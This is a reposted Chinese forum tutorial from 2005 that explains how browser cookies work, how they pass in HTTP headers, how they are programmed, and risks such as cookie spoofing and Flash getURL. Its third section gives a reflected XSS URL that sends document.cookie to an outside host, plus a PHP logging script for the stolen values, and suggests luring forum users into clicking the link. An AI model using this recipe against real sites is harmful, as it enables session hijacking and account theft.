过期域名预定抢注

 找回密碼
 免费注册

全面瞭解 Cookie的傳遞流程、編程實現及安全問題(轉帖啊,呵呵)

[複製鏈接]
發表於 2005-12-15 01:39:29 | 顯示全部樓層 |閱讀模式
Cookie在英文中是小甜品的意思,而這個詞我們總能在瀏覽器中看到,食品怎麼會跟瀏覽器扯上關係呢?在你瀏覽以前登陸過的網站時可能會在網頁中出現:你好XX,感覺很親切,就好像是吃了一個小甜品一樣。這其實是通過訪問你主機裡邊的一個文件來實現的,因此這個文件也就被稱為了Cookie。想全面瞭解Cookie嗎?看看下文吧!* j. `8 C4 y' L' P
' x8 I6 G/ y! X" _  b7 E% f, ~
    一.瞭解Cookie 適用對像:初級讀者$ V0 n( c  T. `7 P

- I; `! s( @! [3 U, x& f4 y  Cookie是當你瀏覽某網站時,網站存儲在你機器上的一個小文本文件,它記錄了你的用戶ID,密碼、瀏覽過的網頁、停留的時間等信息,當你再次來到該網站時,網站通過讀取Cookie,得知你的相關信息,就可以做出相應的動作,如在頁面顯示歡迎你的標語,或者讓你不用輸入ID、密碼就直接登錄等等。你可以在IE的「工具/Internet選項」的「常規」選項卡中,選擇「設置/查看文件」,查看所有保存到你電腦裡的Cookie。這些文件通常是以user@domain格式命名的,user是你的本地用戶名,domain是所訪問的網站的域名。如果你使用NetsCape瀏覽器,則存放在「C:\PROGRAMFILES\NETSCAPE\USERS\」裡面,與IE不同的是,NETSCAPE是使用一個Cookie 文件記錄所有網站的Cookies。4 `1 E. X* t! _! d5 c
   * O" L) z! A2 w( s( u
  為了保證上網安全我們需要對Cookie進行適當設置。打開「工具/Internet選項」中的「隱私」選項卡(注意該設置只在IE6.0中存在,其他版本IE可以在「工具/Internet選項」的「安全」標籤中單擊「自定義級別」按鈕,進行簡單調整),調整Cookie的安全級別。通常情況,可以將滑塊調整到「中高」或者「高」的位置。多數的論壇站點需要使用Cookie信息,如果你從來不去這些地方,可以將安全級調到「阻止所有Cookies」。如果只是為了禁止個別網站的Cookie,可以單擊「編輯」按鈕,將要屏蔽的網站添加到列表中。在「高級」按鈕選項中,你可以對第一方Cookie和第三方的Cookie進行設置,第一方Cookie是你正在瀏覽的網站的Cookie,第三方Cookie非正在瀏覽的網站發給你的Cookie,通常要對第三方Cookie選擇「拒絕」,如圖1。你如果需要保存Cookie,可以使用IE的「導入導出」功能,打開「文件/導入導出」,按提示作即可。
5 y( @: U  r' x. B2 c: Q" P; x5 ]: @, u9 Q1 B6 ?3 D3 H6 o0 `* T
  Cookie中的內容大多數經過了加密處理,因此在我們看來只是一些毫無意義的字母數字組合,只有服務器的CGI處理程序才知道它們真正的含義。通過一些軟件我們可以查看到更多的內容,使用Cookie Pal軟件查看到的Cookie信息,如圖2所示。它為我們提供了Server、Expires、Name、Value等選項的內容。其中,Server是存儲Cookie的網站,Expires記錄了Cookie的時間和生命期,Name和value字段則是具體的數據。) i" I; Q" s7 E) l& M
   & V/ c: v6 W% w& _- m3 S
  二、Cookie的傳遞流程 適用對像:中級讀者- T! i+ J" `# J) M; t5 s( ~
  
( N- d" O+ u6 P& y! z+ T) x  當在瀏覽器地址欄中鍵入了一個Web站點的URL,瀏覽器會向該Web站點發送一個讀取網頁的請求,並將結果在顯示器上顯示。這時該網頁在你的電腦上尋找Amazon網站設置的Cookie文件,如果找到,瀏覽器會把Cookie文件中的數據連同前面輸入的URL一同發送到Amazon服務器。服務器收到Cookie數據,就會在他的數據庫中檢索你的ID,你的購物記錄、個人喜好等信息,並記錄下新的內容,增加到數據庫和Cookie文件中去。如果沒有檢測到Cookie或者你的Cookie信息與數據庫中的信息不符合,則說明你是第一次瀏覽該網站,服務器的CGI程序將為你創建新的ID信息,並保存到數據庫中。
  H3 I( q* l( D  Cookie是利用了網頁代碼中的HTTP頭信息進行傳遞的,瀏覽器的每一次網頁請求,都可以伴隨Cookie傳遞,例如,瀏覽器的打開或玩新網頁作。服務器將Cookie添加到網頁的HTTP頭信息中,伴隨網頁數據傳回到你的瀏覽器,瀏覽器會根據你電腦中的Cookie設置選擇是否保存這些數據。如果瀏覽器不允許Cookie保存,則關掉瀏覽器後,這些數據就消失。Cookie在電腦上保存的時間是不一樣的,這些都是由服務器的設置不同決定得。Cookie有一個Expires(有效期)屬性,這個屬性決定了Cookie的保存時間,服務器可以通過設定Expires字段的數值,來改變Cookie的保存時間。如果不設置該屬性,那麼Cookie只在瀏覽網頁期間有效,關閉瀏覽器,這些Cookie自動消失,絕大多數網站屬於這種情況。通常情況下,Cookie包含Server、Expires、Name、Value這幾個字段,其中對服務器有用的只是Name和Value字段,Expires等字段的內容僅僅是為了告訴瀏覽器如何處理這些Cookies。6 h0 ^9 @$ f7 H. ~( \
三、Cookie的編程實現 適用對像:高級讀者/ ]( U( g( ]: f) K5 u# J
  
* S) n) x+ g* P% o! q: M  多數網頁編程語言都提供了對Cookie的支持。如JavaScript、VBScript、Delphi、ASP、SQL、PHP、C#等。在這些面向對象的編程語言中,對Cookie的編程利用基本上是相似的,大體過程為:先創建一個Cookie對像(Object),然後利用控制函數對Cookie進行賦值、讀取、寫入等作。那麼如何通過代碼來獲取其他用戶Cookie中的敏感信息?下面進行簡單的介紹。6 M1 b! m. u! G
  該方法主要有兩步,首先要定位你需要收集Cookie的網站,並對其進行分析,並構造URL;然後編製收集Cookie的PHP代碼,並將其放到你可以控制的網站上,當不知情者單擊了你構造的URL後可以執行該PHP代碼。下面我們看具體的實現過程。
" G' H; n% g2 e$ H
) ?/ x/ |. M/ M# e  1.分析並構造URL0 }1 ~7 g( O+ h7 b- f, H

* ~) d+ |7 U7 I7 w' t- j* ?9 B  首先打開我們要收集Cookie的網站,這裡假設是http://www.XXX.net,登陸網站輸入用戶名「<A1>」(不含引號),對數據進行分析抓包,得到形如「http://www.XXX.net/txl/login/login.pl?username=<A1>&passwd=&ok.x=28&ok.y=6」的代碼,將「<A1>」更換為「<script>alert(document.cookie)</script>」再試;如果執行成功,就開始構造URL:「http://www.XXX.net/txl/login/login.pl?username=<script>window.open("&passwd=&ok.x=28&ok.y=6'>http://www.cbifamily.org/cbi.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6」。其中http:///www.cbifamily.org/cbi.php就是你能夠控制的某台主機上的一個腳本。需要注意的是「%2B」為符號「+」的URL編碼,因為「+」將被作為空格處理。該URL就可以在論壇中發佈,誘使別人點擊了。- N; H6 D, e0 x% P5 W. y0 h

: M3 M) }3 B7 g! c2 j3 ^  2.編製PHP腳本
# q* ]( d1 A& l1 W5 P  h
; I+ d) t# I+ K: S- q2 q- l+ j  該腳本的作用就是收集Cookie文件,具體內容如下:
) j4 c. T) }8 z7 N* H2 j* q. [) E% d* g5 @* q5 _" L' X2 ~
  
. ^$ c; o) t" Y6 R% w    <?php& z# x0 R( ?/ e8 h5 `1 E
    $info = getenv("QUERY_STRING");( w4 F) O. |. n5 |% c; S' y2 D
    if ($info) {
/ K/ b9 O# |1 i& ]" j    $fp = fopen("info.txt","a");) ~3 B. X6 j6 P+ ]  p
   fwrite($fp,$info."\n");
. I& Q6 U$ A7 H1 c+ ?   fclose($fp);
4 B4 _5 `- p" c2 ]$ P  a2 R- Y    }
3 R6 y& P$ t2 v' h" _- l+ \# I+ m5 B    header("Location: http://www.knowsky.com");: J0 o+ C9 R2 z% }9 ?" e
    ?>) d& {( J% V/ ?4 H9 Y: l7 o* K

4 {2 u1 z: D8 D" V# ~. f$ E  四、Cookie的安全問題 適用對像:所有希望上網安全的讀者
, ]; D: ~4 E4 n& W8 ]# L9 Q9 Z! S
3 y4 S2 C% {8 R3 B/ i  1.Cookie欺騙8 t# u- ]- F9 i

1 n- _3 L4 j2 P+ u  Cookie記錄著用戶的帳戶ID、密碼之類的信息,如果在網上傳遞,通常使用的是MD5方法加密。這樣經過加密處理後的信息,即使被網絡上一些別有用心的人截獲,也看不懂,因為他看到的只是一些無意義的字母和數字。然而,現在遇到的問題是,截獲Cookie的人不需要知道這些字符串的含義,他們只要把別人的Cookie向服務器提交,並且能夠通過驗證,他們就可以冒充受害人的身份,登陸網站。這種方法叫做Cookie欺騙。Cookie欺騙實現的前提條件是服務器的驗證程序存在漏洞,並且冒充者要獲得被冒充的人的Cookie信息。目前網站的驗證程序要排除所有非法登錄是非常困難的,例如,編寫驗證程序使用的語言可能存在漏洞。而且要獲得別人Cookie是很容易的,用支持Cookie的語言編寫一小段代碼就可以實現(具體方法見三),只要把這段代碼放到網絡裡,那麼所有人的Cookie都能夠被收集。如果一個論壇允許HTML代碼或者允許使用Flash標籤就可以利用這些技術收集Cookie的代碼放到論壇裡,然後給帖子取一個吸引人的主題,寫上有趣的內容,很快就可以收集到大量的Cookie。在論壇上,有許多人的密碼就被這種方法盜去的。至於如何防範,目前還沒有特效藥,我們也只能使用通常的防護方法,不要在論壇裡使用重要的密碼,也不要使用IE自動保存密碼的功能,以及盡量不登陸不瞭解底細的網站。; R' r7 k" ~% O$ A
2.Flash的代碼隱患& i" l: p$ i- A! Y# D( V
# _9 j& B( t0 x, d1 |+ O. J+ L* C
  Flash中有一個getURL()函數,Flash可以利用這個函數自動打開指定的網頁。因此它可能把你引向一個包含惡意代碼的網站。打個比方,當你在自己電腦上欣賞精美的Flash動畫時,動畫幀裡的代碼可能已經悄悄地連上網,並打開了一個極小的包含有特殊代碼的頁面。這個頁面可以收集你的Cookie、也可以做一些其他的事情,比如在你的機器上種植木馬甚至格式化你的硬盤等等。對於Flash的這種行為,網站是無法禁止的,因為這是Flash文件的內部行為。我們所能做到的,如果是在本地瀏覽盡量打開防火牆,如果防火牆提示的向外發送的數據包並不為你知悉,最好禁止。如果是在Internet上欣賞,最好找一些知名的大網站。
- t. u  a5 v+ k) }& R; X7 ^
/ i5 ?0 \! h# I7 Z7 f8 W+ L2 H' }% @6 P1 }. }1 r) \
[ 本帖最後由 財迷心竅 於 2005-12-15 01:41 編輯 ]
發表於 2005-12-15 11:47:08 | 顯示全部樓層
偷了~!轉去我那邊~!
回復 给力 爆菊

使用道具 舉報

發表於 2005-12-16 12:37:05 | 顯示全部樓層
提示: 作者被禁止或刪除 內容自動屏蔽
回復 给力 爆菊

使用道具 舉報

發表於 2005-12-16 15:44:03 | 顯示全部樓層
這個比較難
回復 给力 爆菊

使用道具 舉報

發表於 2005-12-16 16:09:41 | 顯示全部樓層
提示: 作者被禁止或刪除 內容自動屏蔽
回復 给力 爆菊

使用道具 舉報

您需要登錄後才可以回帖 登錄 | 免费注册

本版積分規則

點基跨境 數位編輯創業論壇

GMT+8, 2025-5-5 07:24

By DZ X3.5

小黑屋

快速回復 返回頂部 返回列表